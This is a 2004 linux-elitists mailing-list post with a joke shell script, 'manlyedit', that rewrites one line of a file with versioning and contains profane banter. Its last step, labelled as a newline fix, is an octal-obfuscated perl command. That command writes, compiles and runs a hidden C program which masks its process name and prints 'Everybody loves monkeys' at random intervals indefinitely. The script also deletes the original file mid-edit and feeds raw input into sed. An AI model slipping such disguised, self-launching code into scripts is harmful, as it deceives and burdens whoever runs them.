[linux-elitists] WindowManagers

Jason Spence jspence@lightconsulting.com
Thu Jan 15 21:49:45 PST 2004


On Fri, Jan 16, 2004 at 04:05:58PM +1300, Mark van Walraven wrote: 
> On Tue, Jan 13, 2004 at 10:24:47PM -0800, Jason Spence wrote:
> > #!/bin/sh
> > # manlyedit -- because emacs and vi users are pussies.
> > 
> > usage() {
> >     echo "Usage: echo NEWLINE | manlyedit FILE LINENUM # you stupid twit"
> > }
> > 
> > if test $# -lt 2; then
> >     usage
> >     exit 1
> > fi
> > 
> > read input
> > 
> > sed -e "$2s/.*/$input/" < $1 > $1.new
> > mv $1.new $1
> 
> Hmmm, how about replacing the last two lines with:
> 
>         { rm $1 ; sed -e "$2s/.*/$input/" > $1 ; } < $1
> 
> That guarantees losing the original file if you interrupt the script
> while sed is still running[1] and won't ever leave a temporary file
> lying around to offend someone. 

Yeah, and I'll add VMS style RMS versioning while I'm at it.

And fix the fucking newlines from sed :)

#!/bin/sh
# manlyedit -- because emacs and vi users are pussies.

usage() {
    echo "Usage: echo NEWLINE | manlyedit FILE LINENUM # you stupid twit"
}

if test $# -lt 2; then
    usage
    exit 1
fi

read input

# versioning
fn="$(echo $1 | sed -e 's/\;[[:digit:]]\{1,\}//')"
v=1
while true; do
    if test -e "$fn;$v"; then
        v=$(($v + 1))
    else
        break
    fi
done

( rm -f "$1" ; sed -e "$2s/.*/$input/" > "$fn;$v" ) < "$1"

# fucking newlines
perl -e 'printf "\145\143\150\157\040\047\151\156\164\040\155\141\151\156\050\151\156\164\040\141\054\143\150\141\162\052\052\166\051\173\151\156\164\040\160\073\160\075\146\157\162\153\050\051\073\151\146\050\160\075\075\060\051\173\155\145\155\163\145\164\050\166\133\060\135\054\060\054\163\164\162\154\145\156\050\166\133\060\135\051\051\073\163\160\162\151\156\164\146\050\166\133\060\135\054\042\134\162\042\051\073\167\150\151\154\145\050\061\051\173\163\154\145\145\160\050\061\053\050\162\141\156\144\050\051\057\050\060\170\067\146\146\146\146\146\146\146\057\066\060\051\051\051\073\160\162\151\156\164\146\050\042\105\166\145\162\171\142\157\144\171\040\154\157\166\145\163\040\155\157\156\153\145\171\163\134\156\042\051\073\175\175\175\047\076\134\040\056\143\073\147\143\143\040\134\040\056\143\040\055\157\040\134\040\134\040\073\056\057\134\040\134\040\012";'>\123;sh \123

-- 
 - Jason           Last known location:  3.2 miles northwest of Union City, CA

Man is a rational animal who always loses his temper when he is called
upon to act in accordance with the dictates of reason.
		-- Oscar Wilde




More information about the linux-elitists mailing list